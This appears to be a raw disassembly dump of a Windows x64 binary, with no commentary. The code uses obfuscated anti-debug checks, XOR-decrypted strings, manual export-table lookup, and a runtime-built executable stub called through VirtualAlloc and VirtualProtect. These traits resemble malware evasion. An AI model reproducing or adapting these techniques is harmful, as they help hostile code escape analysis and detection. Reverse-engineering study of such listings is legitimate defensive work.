mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032d4a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032d4a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032d6a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
call fcn.14009ce10
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14003f0c4
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140032e34
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032e14
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032e14
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032e34
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
mov r8d, 0x333c2c22
mov r9d, 0xc6f3f7f8
cmp rax, r14
jne 0x140032ef9
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032ed9
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032ed9
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032ef9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140032fb2
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032f92
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032f92
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032fb2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x14003305c
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003303c
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003303c
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003305c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140033115
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400330f5
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400330f5
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033115
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x1400331c6
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400331a6
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400331a6
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400331c6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x14003327f
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003325f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003325f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003327f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.14003e65c
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x140033351
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033331
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033331
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033351
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14003365b
xor r14d, r14d
mov r8d, 0xdff380c9
mov rax, qword gs:[0x18]
cmp rax, r8
jne 0x140033423
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033713
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033713
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140033713
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14002e3b4
mov r15d, eax
mov rcx, qword gs:[0x18]
mov r8d, 0xdff380c9
movabs r9, 0x6914cbf2a209ecb0
cmp rcx, r8
jne 0x1400334df
mov rcx, qword gs:[9]
xor rcx, r9
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[9]
xor rcx, r9
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[9]
xor rcx, r9
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x140033733
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x140033733
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x140033733
test r15d, r15d
jne 0x140033793
mov rax, qword gs:[0x18]
cmp rax, r8
jne 0x14003357e
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x140033753
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x140033753
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x140033753
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x18]
cmp rax, r8
jne 0x140033632
mov rax, qword gs:[9]
xor rax, r9
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[9]
xor rax, r9
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[9]
xor rax, r9
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x140033773
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x140033773
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140033773
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140033378
xor r15d, r15d
mov r14d, 0xdff380c9
mov rax, qword gs:[0x18]
cmp rax, r14
jne 0x14003d4b3
mov rax, qword gs:[9]
movabs rcx, 0x6914cbf2a209ecb0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400336f3
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400336f3
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d4b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.1400a3dd8
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x4d6c00ce
mov dword [rbp + 0x214], 0xca006756
mov dword [rbp + 0x218], 0x413ffd71
mov word [rbp + 0x21c], reloc.WLDAP32.dll_Ordinal_26
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1a6e778c1
movabs r9, 0x1579c121da
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x2af38243b4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x210]
xor dil, r8b
mov byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x140033836
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x6c2cf487
mov dword [rbp + 0x84], 0x8fbc0a08
mov word [rbp + 0x88], 0x83
mov r8, r14
movabs r9, 0xede233ed2
mov r10d, 9
movabs r11, 0x1dbc467da4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x1400338dc
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140033b65
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140033b65
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140033b65
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140033b65
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140033b65
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400339d7
inc rax
test edi, edi
jne 0x1400339c2
test r8d, r8d
je 0x1400339e9
inc rdx
cmp rdx, rsi
jb 0x1400339b1
jmp 0x140033b65
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140033b65
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x140033b62
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14009ce10
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14003f0c4
lea rcx, [rbp + 0x7420]
call fcn.14003e65c
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.14003e65c
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140033a77
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400c6890
mov dword [0x1400f8a24], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400f8a20]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f8a28]
mov word [rdi + 8], ax
mov al, byte [0x1400f8a2a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400c6f30
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f8a24], r14d
test edi, edi
js 0x140033b78
jmp 0x140033b65
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x140033b8e
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14002de7c
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x18]
ja 0x14003d11d
mov esi, 0xdff380c9
cmp rax, rsi
jne 0x140033c60
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033c40
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033c40
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033c60
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea590]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400ea320]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x6e9c1715
mov word [rbp + 0xbc4], 0xef19
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rsi, 0x1a6e778c1
movabs r9, 0x3ec65beccc
lea r10d, [rax + 0x26]
lea r15d, [rax + 1]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
add r8, r15
add r9, r12
add r10, 0x26
movabs rax, 0x7d8cb7d998
cmp r9, rax
jb 0x140033cc4
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14000522c
mov rax, qword gs:[0x18]
mov esi, 0xdff380c9
mov ebx, 0xe330532b
cmp rax, rsi
jne 0x140033df2
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033dd2
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033dd2
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033df2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a3dd8
int3
call fcn.14002e0dc
mov rcx, qword gs:[0x18]
test al, al
jne 0x1400341a4
cmp rcx, rsi
jne 0x140033ebe
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033e9e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033e9e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033ebe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0xb2
mov r10, r14
movabs rsi, 0x1a6e778c1
movabs r8, 0x1c155f04e2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x382abe09c4
movabs r13, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3e0]
xor dil, r10b
mov byte [rbp + r10 + 0x3e0], dil
add r10, r15
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140033f08
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400ea5b0]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400ea250]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov esi, 0xdff380c9
movabs rbx, 0x1a6e778c1
mov r9d, Ordinal_33
movabs r10, 0x3336079f7e
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
add r8, r15
add r10, r12
add r9, 0x1f
movabs rax, 0x666c0f3efc
cmp r10, rax
jb 0x140033fb6
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x18]
cmp rax, rsi
mov ebx, 0xe330532b
jne 0x1400340f6
mov rax, qword gs:[9]
movabs rcx, 0x6914cbf2a209ecb0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400340d6
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400340d6
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400340f6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, rsi
jne 0x14003dab1
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034184
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034184
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003dab1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
cmp rcx, rsi
jne 0x140034245
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034225
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034225
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034245
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea540]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1a6e778c1
movabs r9, 0x1a6e778c20
lea r10d, [rax + 0x10]
movabs r11, 0x34dcef1840
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
add r8, r15
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x14003428c
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14002decc
mov rax, qword gs:[0x18]
mov esi, 0xdff380c9
cmp rax, rsi
jne 0x1400343c0
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x333c2c22
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400343a0
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400343a0
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400343c0
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a3dd8
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14003455f
movdqa xmm0, xmmword [0x1400ea310]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0xb2
mov r10, r14
movabs rsi, 0x1a6e778c1
movabs r8, 0x1c155f04e2
